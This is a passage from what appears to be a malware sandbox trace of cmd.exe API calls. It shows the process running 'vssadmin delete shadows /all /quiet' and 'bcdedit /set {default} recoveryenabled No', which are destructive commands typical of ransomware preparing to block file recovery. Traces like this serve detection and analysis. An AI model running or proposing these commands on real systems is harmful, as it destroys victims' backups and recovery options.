(_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0079.572] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0079.572] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0079.572] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0079.572] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0079.572] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0079.572] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0079.573] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0079.573] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0079.573] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0079.573] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0079.573] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0079.573] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0079.573] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0079.573] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0079.573] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0079.573] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0079.573] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0079.573] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0079.573] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0079.573] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0079.573] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0079.573] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0079.573] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0079.573] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0079.573] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0079.573] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0079.573] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0079.573] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0079.573] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0079.573] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0079.573] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0079.573] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0079.573] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0079.573] GetProcessHeap () returned 0x2f0000 [0079.574] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x304830 | out: hHeap=0x2f0000) returned 1 [0079.574] GetProcessHeap () returned 0x2f0000 [0079.574] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x12) returned 0x308b70 [0079.574] lstrcmpW (lpString1="\\vssadmin.exe", lpString2="\\XCOPY.EXE") returned -1 [0079.576] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\vssadmin.exe", lpCommandLine="C:\\Windows\\System32\\vssadmin.exe delete shadows /all /quiet ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x16ef30*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\vssadmin.exe delete shadows /all /quiet ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x16eee0 | out: lpCommandLine="C:\\Windows\\System32\\vssadmin.exe delete shadows /all /quiet ", lpProcessInformation=0x16eee0*(hProcess=0x54, hThread=0x50, dwProcessId=0x7a8, dwThreadId=0x2a8)) returned 1 [0079.586] CloseHandle (hObject=0x50) returned 1 [0079.586] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0079.586] GetProcessHeap () returned 0x2f0000 [0079.586] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30aea0 | out: hHeap=0x2f0000) returned 1 [0079.586] GetEnvironmentStringsW () returned 0x30aea0* [0079.586] GetProcessHeap () returned 0x2f0000 [0079.586] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xae8) returned 0x308cd0 [0079.586] FreeEnvironmentStringsW (penv=0x30aea0) returned 1 [0079.586] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0144.132] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x16ee28 | out: lpExitCode=0x16ee28*=0x0) returned 1 [0144.133] CloseHandle (hObject=0x54) returned 1 [0144.133] _vsnwprintf (in: _Buffer=0x16f098, _BufferCount=0x13, _Format="%08X", _ArgList=0x16ee38 | out: _Buffer="00000000") returned 8 [0144.133] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0144.133] GetProcessHeap () returned 0x2f0000 [0144.133] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x308cd0 | out: hHeap=0x2f0000) returned 1 [0144.133] GetEnvironmentStringsW () returned 0x308cd0* [0144.133] GetProcessHeap () returned 0x2f0000 [0144.133] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xb0e) returned 0x30f9f0 [0144.134] FreeEnvironmentStringsW (penv=0x308cd0) returned 1 [0144.134] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0144.134] GetProcessHeap () returned 0x2f0000 [0144.134] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30f9f0 | out: hHeap=0x2f0000) returned 1 [0144.134] GetEnvironmentStringsW () returned 0x308cd0* [0144.134] GetProcessHeap () returned 0x2f0000 [0144.134] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xb0e) returned 0x30f9f0 [0144.134] FreeEnvironmentStringsW (penv=0x308cd0) returned 1 [0144.134] GetProcessHeap () returned 0x2f0000 [0144.134] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x308b70 | out: hHeap=0x2f0000) returned 1 [0144.134] DeleteProcThreadAttributeList (in: lpAttributeList=0x16eef8 | out: lpAttributeList=0x16eef8) [0144.134] GetConsoleTitleW (in: lpConsoleTitle=0x16f530, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0144.134] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0144.134] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0144.134] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x16f0c0, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x16f0a0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x16f0a0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0144.135] GetProcessHeap () returned 0x2f0000 [0144.135] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x218) returned 0x2f1b70 [0144.135] GetProcessHeap () returned 0x2f0000 [0144.135] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x98) returned 0x2f17b0 [0144.135] _wcsnicmp (_String1="C:\\W", _String2="cmd ", _MaxCount=0x4) returned -51 [0144.135] GetProcessHeap () returned 0x2f0000 [0144.135] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x420) returned 0x30c3e0 [0144.135] SetErrorMode (uMode=0x0) returned 0x0 [0144.136] SetErrorMode (uMode=0x1) returned 0x0 [0144.136] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\.", nBufferLength=0x208, lpBuffer=0x30c3f0, lpFilePart=0x16edc0 | out: lpBuffer="C:\\Windows\\System32", lpFilePart=0x16edc0*="System32") returned 0x13 [0144.136] SetErrorMode (uMode=0x0) returned 0x1 [0144.136] GetProcessHeap () returned 0x2f0000 [0144.136] RtlReAllocateHeap (Heap=0x2f0000, Flags=0x0, Ptr=0x30c3e0, Size=0x50) returned 0x30c3e0 [0144.136] GetProcessHeap () returned 0x2f0000 [0144.136] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30c3e0) returned 0x50 [0144.136] NeedCurrentDirectoryForExePathW (ExeName="C:\\Windows\\System32\\.") returned 1 [0144.136] GetProcessHeap () returned 0x2f0000 [0144.136] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x3e) returned 0x308d00 [0144.136] GetProcessHeap () returned 0x2f0000 [0144.136] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x68) returned 0x305de0 [0144.136] GetProcessHeap () returned 0x2f0000 [0144.136] RtlReAllocateHeap (Heap=0x2f0000, Flags=0x0, Ptr=0x305de0, Size=0x3e) returned 0x305de0 [0144.136] GetProcessHeap () returned 0x2f0000 [0144.136] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305de0) returned 0x3e [0144.136] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49d6f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0144.136] GetProcessHeap () returned 0x2f0000 [0144.136] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xe8) returned 0x305e30 [0144.137] GetProcessHeap () returned 0x2f0000 [0144.137] RtlReAllocateHeap (Heap=0x2f0000, Flags=0x0, Ptr=0x305e30, Size=0x7e) returned 0x305e30 [0144.137] GetProcessHeap () returned 0x2f0000 [0144.137] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305e30) returned 0x7e [0144.137] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0144.137] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\bcdedit.exe", fInfoLevelId=0x1, lpFindFileData=0x16eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16eb30) returned 0x305ec0 [0144.137] GetProcessHeap () returned 0x2f0000 [0144.137] RtlReAllocateHeap (Heap=0x2f0000, Flags=0x0, Ptr=0x304800, Size=0x8) returned 0x2f1d90 [0144.137] FindClose (in: hFindFile=0x305ec0 | out: hFindFile=0x305ec0) returned 1 [0144.137] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0144.138] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0144.138] GetConsoleTitleW (in: lpConsoleTitle=0x16f080, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0144.138] InitializeProcThreadAttributeList (in: lpAttributeList=0x16ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x16edf8 | out: lpAttributeList=0x16ee38, lpSize=0x16edf8) returned 1 [0144.138] UpdateProcThreadAttribute (in: lpAttributeList=0x16ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x16ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x16ee38, lpPreviousValue=0x0) returned 1 [0144.138] GetStartupInfoW (in: lpStartupInfo=0x16ef50 | out: lpStartupInfo=0x16ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) [0144.138] GetProcessHeap () returned 0x2f0000 [0144.138] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x20) returned 0x304800 [0144.138] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0144.138] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0144.138] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0144.138] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0144.138] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0144.138] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0144.138] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0144.138] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0144.138] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0144.138] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0144.138] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0144.139] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0144.139] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0144.139] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0144.139] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0144.139] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0144.139] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0144.139] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0144.139] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0144.139] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0144.139] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0144.139] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0144.139] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0144.139] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0144.139] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0144.139] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0144.139] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0144.139] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0144.139] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0144.139] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0144.139] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0144.139] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0144.139] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0144.139] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0144.139] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0144.139] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0144.139] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0144.139] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0144.140] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0144.140] GetProcessHeap () returned 0x2f0000 [0144.140] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x304800 | out: hHeap=0x2f0000) returned 1 [0144.140] GetProcessHeap () returned 0x2f0000 [0144.140] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x12) returned 0x308b70 [0144.140] lstrcmpW (lpString1="\\bcdedit.exe", lpString2="\\XCOPY.EXE") returned -1 [0144.140] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\bcdedit.exe", lpCommandLine="C:\\Windows\\System32\\bcdedit.exe /set {default} recoveryenabled No ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x16ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\bcdedit.exe /set {default} recoveryenabled No ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x16ee20 | out: lpCommandLine="C:\\Windows\\System32\\bcdedit.exe /set {default} recoveryenabled No ", lpProcessInformation=0x16ee20*(hProcess=0x50, hThread=0x54, dwProcessId=0xb20, dwThreadId=0xb60)) returned 1 [0144.156] CloseHandle (hObject=0x54) returned 1 [0144.156] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0144.156] GetProcessHeap () returned 0x2f0000 [0144.156] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30f9f0 | out: hHeap=0x2f0000) returned 1 [0144.156] GetEnvironmentStringsW () returned 0x30f9f0* [0144.156] GetProcessHeap () returned 0x2f0000 [0144.156] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xb0e) returned 0x312510 [0144.156] FreeEnvironmentStringsW (penv=0x30f9f0) returned 1 [0144.156] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0144.662] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x16ed68 | out: lpExitCode=0x16ed68*=0x0) returned 1 [0144.662] CloseHandle (hObject=0x50) returned 1 [0144.662] _vsnwprintf (in: _Buffer=0x16efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x16ed78 | out: _Buffer="00000000") returned 8 [0144.662] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0144.662] GetProcessHeap () returned 0x2f0000 [0144.662] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x312510 | out: hHeap=0x2f0000) returned 1 [0144.662] GetEnvironmentStringsW () returned 0x30f9f0* [0144.662] GetProcessHeap () returned 0x2f0000 [0144.662] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xb0e) returned 0x312510 [0144.662] FreeEnvironmentStringsW (penv=0x30f9f0) returned 1 [0144.662] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0144.662] GetProcessHeap () returned 0x2f0000 [0144.662] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x312510 | out: hHeap=0x2f0000) returned 1 [0144.663] GetEnvironmentStringsW () returned 0x30f9f0* [0144.663] GetProcessHeap () returned 0x2f0000 [0144.663] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xb0e) returned 0x312510 [0144.663] FreeEnvironmentStringsW (penv=0x30f9f0) returned 1 [0144.663] GetProcessHeap () returned 0x2f0000 [0144.663] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x308b70 | out: hHeap=0x2f0000) returned 1 [0144.663] DeleteProcThreadAttributeList (in: lpAttributeList=0x16ee38 | out: lpAttributeList=0x16ee38) [0144.663] GetConsoleTitleW (in: lpConsoleTitle=0x16f530, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0144.663] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0144.663] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0144.663] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x16f0c0, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x16f0a0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x16f0a0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0144.664] GetProcessHeap () returned 0x2f0000 [0144.664] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x218) returned 0x309cd0 [0144.664] GetProcessHeap () returned 0x2f0000 [0144.664] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xb6) returned 0x30cf00 [0144.664] GetProcessHeap () returned 0x2f0000 [0144.664] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x420) returned 0x30c440 [0144.664] SetErrorMode (uMode=0x0) returned 0x0 [0144.664] SetErrorMode (uMode=0x1) returned 0x0 [0144.664] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\.", nBufferLength=0x208, lpBuffer=0x30c450, lpFilePart=0x16edc0 | out: lpBuffer="C:\\Windows\\System32", lpFilePart=0x16edc0*="System32") returned 0x13 [0144.664] SetErrorMode (uMode=0x0) returned 0x1 [0144.664] GetProcessHeap () returned 0x2f0000 [0144.664] RtlReAllocateHeap (Heap=0x2f0000, Flags=0x0, Ptr=0x30c440, Size=0x50) returned 0x30c440 [0144.664] GetProcessHeap () returned 0x2f0000 [0144.664] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30c440) returned 0x50 [0144.664] NeedCurrentDirectoryForExePathW (ExeName="C:\\Windows\\System32\\.") returned 1 [0144.664] GetProcessHeap () returned 0x2f0000 [0144.664] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x3e) returned 0x308d50 [0144.664] GetProcessHeap () returned 0x2f0000 [0144.664] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x68) returned 0x305ec0 [0144.664] GetProcessHeap () returned 0x2f0000 [0144.664] RtlReAllocateHeap (Heap=0x2f0000, Flags=0x0, Ptr=0x305ec0, Size=0x3e) returned 0x305ec0 [0144.664] GetProcessHeap () returned 0x2f0000 [0144.665] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305ec0) returned 0x3e [0144.665] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49d6f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0144.665] GetProcessHeap () returned 0x2f0000 [0144.665] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xe8) returned 0x309ef0 [0144.665] GetProcessHeap () returned 0x2f0000 [0144.665] RtlReAllocateHeap (Heap=0x2f0000, Flags=0x0, Ptr=0x309ef0, Size=0x7e) returned 0x309ef0 [0144.665] GetProcessHeap () returned 0x2f0000 [0144.665] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x309ef0) returned 0x7e [0144.665] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0144.665] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\bcdedit.exe", fInfoLevelId=0x1, lpFindFileData=0x16eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16eb30) returned 0x309f80 [0144.665] FindClose (in: hFindFile=0x309f80 | out: hFindFile=0x309f80) returned 1 [0144.665] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0144.666] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0144.666] GetConsoleTitleW (in: lpConsoleTitle=0x16f080, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0144.666] InitializeProcThreadAttributeList (in: lpAttributeList=0x16ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x16edf8 | out: lpAttributeList=0x16ee38, lpSize=0x16edf8) returned 1 [0144.666] UpdateProcThreadAttribute (in: lpAttributeList=0x16ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x16ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x16ee38, lpPreviousValue=0x0) returned 1 [0144.666] GetStartupInfoW (in: lpStartupInfo=0x16ef50 | out: lpStartupInfo=0x16ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) [0144.666] GetProcessHeap () returned 0x2f0000 [0144.666] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x20) returned 0x304800 [0144.666] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0144.666] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0144.666] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0144.666] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0144.666] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0144.666] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0144.666] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0144.666] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0144.666] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0144.666] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0144.666] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0144.666] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0144.666] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0144.666] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0144.667] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0144.667] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0144.667] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0144.667] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0144.667] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0144.667] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0144.667] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0144.667] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0144.667] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0144.667] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0144.667] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0144.667] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0144.667] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0144.667] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned 